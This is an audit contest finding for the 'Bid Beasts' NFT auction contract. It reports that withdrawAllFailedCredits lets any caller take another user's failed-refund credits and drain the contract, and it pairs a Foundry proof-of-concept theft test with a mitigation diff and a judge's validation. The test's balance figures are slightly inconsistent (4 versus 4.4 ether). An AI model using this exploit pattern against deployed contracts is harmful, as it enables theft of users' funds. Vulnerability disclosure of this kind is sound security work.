Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Failed Credit Mapping Bug Enabling Theft and Contract Draining

Failed Credit Mapping Bug Enabling Theft and Contract Draining

Description

  • FailedTransferCredits mapping credits ETH from failed payouts, withdrawable by owners via withdrawAllFailedCredits(_receiver).

  • Bug zeros credits[msg.sender] instead of [_receiver] and sends to msg.sender, allowing theft of any credits; repeated calls drain contract as credits aren't properly cleared, leaving balance exposed.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@>failedTransferCredits[msg.sender] = 0;@> // Wrong: zeros caller's slot
(bool success,) = payable(msg.sender).call{value: amount}(""); // Sends to caller
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • When credits accumulate from failed refunds in auctions.

  • Attacker targets high-credit addresses post-griefing.

Impact:

  • Direct theft of user ETH credits.

  • Infinite draining of contract balance via uncorrected mapping.

Proof of Concept

Triggers failed credits via rejector bids, then seller calls withdraw for rejector, gets ETH but zeros own slot; repeats to drain contract multiple times since rejector's credits stay full.

function testCreditTheftAndContractDraining() public {
_mintNFT();
_listNFT();
// Trigger failed payouts to rejector
vm.deal(address(rejector), 3 ether);
vm.prank(address(rejector));
market.placeBid{value: 1.1 ether}(TOKEN_ID); // First credit: 0 (no prior)
vm.deal(BIDDER_2, 2.2 ether);
vm.prank(BIDDER_2);
market.placeBid{value: 2.2 ether}(TOKEN_ID); // Credit rejector: 1.1 ether
vm.deal(BIDDER_1, 3.3 ether);
vm.prank(BIDDER_1);
market.placeBid{value: 3.3 ether}(TOKEN_ID); // Credit rejector: 1.1 ether // Contract Balance: 4 ether
uint256 contractBalanceBefore = address(market).balance;
assertEq(market.failedTransferCredits(address(rejector)), 1.1 ether);
// Malicious SELLER steals once
vm.prank(SELLER);
market.withdrawAllFailedCredits(address(rejector)); // Steals 1.1 ether, zeros SELLER's slot (not rejector's)
// Credits still exist for rejector, contract partially drained
assertEq(address(market).balance, contractBalanceBefore - 1.1 ether);
assertEq(market.failedTransferCredits(address(rejector)), 1.1 ether); // Unchanged!
// Steal again: drains remaining
for (uint256 i = 0; i < 3; i++) {
vm.prank(SELLER);
market.withdrawAllFailedCredits(address(rejector)); // Steals another 1 ether
}
// Fully drained
assertEq(address(market).balance, contractBalanceBefore - 4.4 ether);
}

Recommended Mitigation

Changes amount check to msg.sender only; zeros msg.sender slot; sends ETH to _receiver; adds event for tracking withdrawals.

+event FailedCreditsWithdrawn(address indexed receiver, uint256 amount);
function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits");
failedTransferCredits[msg.sender] = 0;
- (bool success,) = payable(msg.sender).call{value: amount}("");
+ (bool success,) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
+ emit FailedCreditsWithdrawn(_receiver, amount);
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.